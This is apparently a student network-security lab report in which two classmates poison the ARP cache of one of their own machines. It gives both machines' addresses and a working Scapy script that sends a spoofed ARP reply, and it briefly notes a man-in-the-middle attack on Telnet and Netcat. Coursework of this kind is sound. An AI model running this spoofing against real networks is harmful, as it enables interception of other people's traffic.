NetSec Labs - Michael & Hussein

Lab 2 - MAC Layer Security

Task 1

We successfully launched an ARP cache poisoning attack.

Hussein’s Computer (Attacker)

         IP: 192.168.1.250
   Real MAC: ca:8b:de:f:d9:8e
Spoofed MAC: de:ad:be:ee:ff:ff

Michael’s Computer (Victim)

 IP: 192.168.1.72
MAC: f0:2f:4b:15:2a:7a

Attacker Script

from scapy.sendrecv import send, sniff, sendp
from scapy.layers.inet import IP, ICMP
from scapy.layers.l2 import ARP, Ether

# Michael's computer
target_mac = "f0:2f:4b:15:2a:7a"
target_ip = "192.168.1.72"


def spoof_with_reply():
    E = Ether()
    A = ARP(
        op=2,  # 2 = is-at (reply)
        hwsrc="de:ad:be:ee:ff:ff",  # Spoofed MAC
        psrc="192.168.1.250",  # Spoofed IP
        hwdst=target_mac,  # Target MAC
        pdst=target_ip,  # Target IP
    )
    pkt = E / A
    sendp(pkt)


if __name__ == "__main__":
    spoof_with_reply()

Task 2 + Task 3

We successfully launched a MITM attack on Telnet and Netcat.